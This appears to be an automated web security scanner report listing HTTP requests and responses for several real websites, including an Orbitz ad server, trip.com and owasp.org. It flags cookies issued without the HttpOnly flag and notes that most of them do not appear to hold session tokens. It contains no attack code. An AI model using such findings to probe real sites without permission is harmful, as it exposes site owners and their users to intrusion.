GET /index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet HTTP/1.1 Host: www.owasp.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 03 Feb 2011 07:49:12 GMT Server: Apache/2.2.14 (Fedora) Vary: Accept-Encoding,Cookie Content-language: en P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: OAID=b37c1879c52d48eed3346aeb5dce8a8d; expires=Fri, 03-Feb-2012 07:49:13 GMT; path=/ X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=wiki15Token;string-contains=wiki15LoggedOut;string-contains=wiki15_session Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: private, must-revalidate, max-age=0 Last-Modified: Wed, 12 Jan 2011 20:54:00 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 55482
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com: ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /eat/index.jhtml HTTP/1.1 Host: www.parentsconnect.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: AkamaiGHost Content-Length: 0 Location: http://www.parentsconnect.com/flux/widgetRedirect.jhtml?returnUrl=http://www.parentsconnect.com/flux/login_sync.jhtml Expires: Wed, 02 Feb 2011 19:27:30 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 02 Feb 2011 19:27:30 GMT Connection: close Set-Cookie: ReturnUrl=http://www.parentsconnect.com/eat/index.jhtml; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /html.ng/channel=home&Section=main&adsize=519x225&CookieName=OSC&secure=false&v=173.193.214.243-3953790720.30125555&m=0&site=orbitz&subdomain=orbitz&group=A&tile=1296573746089&dsrc=7&height=225&rotator=true&width=519&adType=script& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:22:27 GMT Server: Apache/2.2.3 (CentOS) AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 32 Content-Type: text/html; charset=UTF-8 Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e308be45525d5f4f58455e445a4a423660;path=/ Content-Length: 32
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /html.ng/channel=home&Section=main&adsize=hometext1&CookieName=OSC&secure=false&v=173.193.214.243-3953790720.30125555&m=0&site=orbitz&subdomain=orbitz&group=A&tile=1296573746089&dsrc=7& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:22:27 GMT Server: Apache/2.2.3 (CentOS) AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 1129 Content-Type: text/html; charset=UTF-8 Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e308be45525d5f4f58455e445a4a423660;path=/ Content-Length: 1129
var copy = 'Save big on all inclusive getaways'; var url = 'http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=allinclusive&cnt=PKH' var target = '_parent'; // target is '_top' for internal lin ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /html.ng/channel=home&Section=main&adsize=hometext2&CookieName=OSC&secure=false&v=173.193.214.243-3953790720.30125555&m=0&site=orbitz&subdomain=orbitz&group=A&tile=1296573746089&dsrc=7& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:22:27 GMT Server: Apache/2.2.3 (CentOS) AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 1118 Content-Type: text/html; charset=UTF-8 Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e308be45525d5f4f58455e445a4a423660;path=/ Content-Length: 1118
var copy = 'Up to 30% off select Disney hotels'; var url = 'http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=disney&cnt=PKH' var target = '_parent'; // target is '_top' for internal links, '_ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /html.ng/channel=home&Section=main&adsize=hometext3&CookieName=OSC&secure=false&v=173.193.214.243-3953790720.30125555&m=0&site=orbitz&subdomain=orbitz&group=A&tile=1296573746089&dsrc=7& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:22:28 GMT Server: Apache/2.2.3 (CentOS) AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 1 Content-Type: text/html; charset=UTF-8 Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e308be45525d5f4f58455e445a4a423660;path=/ Content-Length: 1
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /html.ng/channel=home&Section=main&adsize=hometextpkg&CookieName=OSC&secure=false&v=173.193.214.243-3953790720.30125555&m=0&site=orbitz&subdomain=orbitz&group=A&tile=1296573746089&dsrc=7& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:22:27 GMT Server: Apache/2.2.3 (CentOS) AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 12 Content-Type: text/html; charset=UTF-8 Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e308be45525d5f4f58455e445a4a423660;path=/ Content-Length: 12
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:22:53 GMT Server: Apache/2.2.3 (CentOS) AdServer: egadserv001p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 746 Content-Type: application/x-javascript Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e308be45525d5f4f58455e445a4a423660;path=/ Content-Length: 746
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:22:54 GMT Server: Apache/2.2.3 (CentOS) AdServer: egadserv001p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 791 Content-Type: application/x-javascript Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e308be45525d5f4f58455e445a4a423660;path=/ Content-Length: 791
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/channel=home&Section=main&adsize=120x55_footer&CookieName=OSC&secure=false&v=173.193.214.243-3953790720.30125555&m=0&site=orbitz&subdomain=orbitz&group=A&tile=1296573746089&dsrc=7& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:22:29 GMT Server: Apache/2.2.3 (CentOS) AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 749 Content-Type: application/x-javascript Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e308be45525d5f4f58455e445a4a423660;path=/ Content-Length: 749
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/channel=home&Section=main&adsize=1x1&CookieName=OSC&secure=false&v=173.193.214.243-3953790720.30125555&m=0&site=orbitz&subdomain=orbitz&group=A&tile=1296573746089&dsrc=7&height=1&width=1&adType=noframe&pos=1& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:22:29 GMT Server: Apache/2.2.3 (CentOS) AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 992 Content-Type: application/x-javascript Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e308be45525d5f4f58455e445a4a423660;path=/ Content-Length: 992
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/channel=home&Section=main&adsize=1x1&CookieName=OSC&secure=false&v=173.193.214.243-3953790720.30125555&m=0&site=orbitz&subdomain=orbitz&group=A&tile=1296573746089&dsrc=7&height=1&width=1&adType=noframe&pos=2& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:22:29 GMT Server: Apache/2.2.3 (CentOS) AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 1898 Content-Type: application/x-javascript Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e308be45525d5f4f58455e445a4a423660;path=/ Content-Length: 1898
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/channel=home&Section=main&adsize=1x1&CookieName=OSC&secure=false&v=173.193.214.243-3953790720.30125555&m=0&site=orbitz&subdomain=orbitz&group=A&tile=1296573746089&dsrc=7&height=1&width=1&adType=noframe&pos=3& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:22:29 GMT Server: Apache/2.2.3 (CentOS) AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 1012 Content-Type: application/x-javascript Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e308be45525d5f4f58455e445a4a423660;path=/ Content-Length: 1012
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/channel=home&Section=main&adsize=1x1&CookieName=OSC&secure=false&v=173.193.214.243-3953790720.30125555&m=0&site=orbitz&subdomain=orbitz&group=A&tile=1296573746089&dsrc=7&height=1&width=1&adType=noframe&pos=4& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:22:29 GMT Server: Apache/2.2.3 (CentOS) AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 1010 Content-Type: application/x-javascript Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e308be45525d5f4f58455e445a4a423660;path=/ Content-Length: 1010
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/channel=home&Section=main&adsize=396x71&CookieName=OSC&secure=false&v=173.193.214.243-3953790720.30125555&m=0&site=orbitz&subdomain=orbitz&group=A&tile=1296573746089&dsrc=7& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:22:27 GMT Server: Apache/2.2.3 (CentOS) AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 140 Content-Type: application/x-javascript Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e308be45525d5f4f58455e445a4a423660;path=/ Content-Length: 140
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/channel=home&Section=main&adsize=468x60_top&CookieName=OSC&secure=false&v=173.193.214.243-3953790720.30125555&m=0&site=orbitz&subdomain=orbitz&group=A&tile=1296573746089&dsrc=7&height=60&width=468&adType=noframe& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:22:27 GMT Server: Apache/2.2.3 (CentOS) AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 1051 Content-Type: application/x-javascript Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e308be45525d5f4f58455e445a4a423660;path=/ Content-Length: 1051
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/channel=home&Section=main&adsize=519x150&CookieName=OSC&secure=false&v=173.193.214.243-3953790720.30125555&m=0&site=orbitz&subdomain=orbitz&group=A&tile=1296573746089&dsrc=7&height=150&width=519&adType=noframe& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:22:27 GMT Server: Apache/2.2.3 (CentOS) AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Content-Type: application/x-javascript Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e308be45525d5f4f58455e445a4a423660;path=/ Content-Length: 19152
document.write(''); var imgSrc = 'http://www.orbitz.com/Marketing/Images/US/MERCH/expmod/orb/ORB_exp_Home_519x150_apr10.jpg'; var defaultHref = 'http://www.orbitz.com/event.ng/Type=click&FlightID=8149 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/channel=home&Section=main&adsize=728x90&CookieName=OSC&secure=false&v=173.193.214.243-3953790720.30125555&m=0&site=orbitz&subdomain=orbitz&group=A&tile=1296573746089&dsrc=7&height=90&width=728&adType=noframe& HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:22:28 GMT Server: Apache/2.2.3 (CentOS) AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 1121 Content-Type: application/x-javascript Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e308be45525d5f4f58455e445a4a423660;path=/ Content-Length: 1121
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/site=orbitz&Section=flightstatus&adsize=300x250&pos=left&Params.richmedia=&channel=travelerupdate&dest=&sessionID=50cd97fbd27584ff66dda9b41d9d34e0&CookieName=OSC&tile=12966613625991 HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://updates.orbitz.com/flight_status Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4; NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e308be45525d5f4f58455e445a4a423660
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:47:11 GMT Server: Apache/2.2.3 (CentOS) AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 19 Content-Type: application/x-javascript Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/ Content-Length: 19
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/site=orbitz&Section=flightstatus&adsize=300x250&pos=right&Params.richmedia=&channel=travelerupdate&dest=&sessionID=50cd97fbd27584ff66dda9b41d9d34e0&CookieName=OSC&tile=12966613625991 HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://updates.orbitz.com/flight_status Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4; NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e308be45525d5f4f58455e445a4a423660
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:47:11 GMT Server: Apache/2.2.3 (CentOS) AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 19 Content-Type: application/x-javascript Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/ Content-Length: 19
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/site=orbitz&Section=flightstatus&adsize=300x250&pos=top&Params.richmedia=&channel=travelerupdate&dest=&sessionID=50cd97fbd27584ff66dda9b41d9d34e0&CookieName=OSC&tile=12966613625991 HTTP/1.1 Host: www.revresda.com Proxy-Connection: keep-alive Referer: http://updates.orbitz.com/flight_status Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=aebaa22-3554-1360392959-4; NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e308be45525d5f4f58455e445a4a423660
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:47:11 GMT Server: Apache/2.2.3 (CentOS) AdServer: egadserv004p.prod.orbitz.net:9678:1 P3P: CP="IND NON DSP UNI COM INT STA CUR PSAo PSDo IVAo IVDo OUR" Cteonnt-Length: 19 Content-Type: application/x-javascript Cache-Control: private Set-Cookie: NSC_xxx.sfwsfteb.dpn.80_gxe=ffffffff09e388be45525d5f4f58455e445a4a423660;path=/ Content-Length: 19
The following cookie was issued by the application and does not have the HttpOnly flag set:
resin=1724539402.20480.0000; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RatingVerify HTTP/1.1 Host: www.scanalert.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Server: McAfeeSecure Location: https://www.mcafeesecure.com/RatingVerify Content-Length: 0 Connection: close Date: Thu, 03 Feb 2011 04:05:13 GMT Set-Cookie: resin=1724539402.20480.0000; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /career-advice/women-cautious-about-social-media-and-work/?cobrand=msn&utm_source=MSN&utm_medium=MSNHP&utm_campaign=MSNCareers>1=23000 HTTP/1.1 Host: www.theworkbuzz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /employment-trends/video-interviews/?cobrand=msn&utm_source=MSN&utm_medium=MSNJM&utm_campaign=MSNCareers HTTP/1.1 Host: www.theworkbuzz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
lang=en-US; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.threatfire.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Language: en-US Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Expires: Wed, 02 Feb 2011 19:30:16 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 02 Feb 2011 19:30:16 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: lang=en-US; path=/ Content-Length: 48669
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title> ThreatFire An ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.trip.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /index.html?type=air&utm_source=orbitz&utm_medium=crpopunder&utm_content=air&utm_campaign=triplooking&cmpid=1 HTTP/1.1 Host: www.trip.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.trip.com/fli ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /boobitrap/eCheck.php HTTP/1.1 Host: www.untraceableemail.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 16:15:20 GMT Server: Apache/2.2.9 (Fedora) Set-Cookie: Apache=173.193.214.243.1296663320848847; path=/; expires=Wed, 09-Mar-11 16:15:20 GMT Content-Length: 1740 Connection: close Content-Type: text/html; charset=UTF-8
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
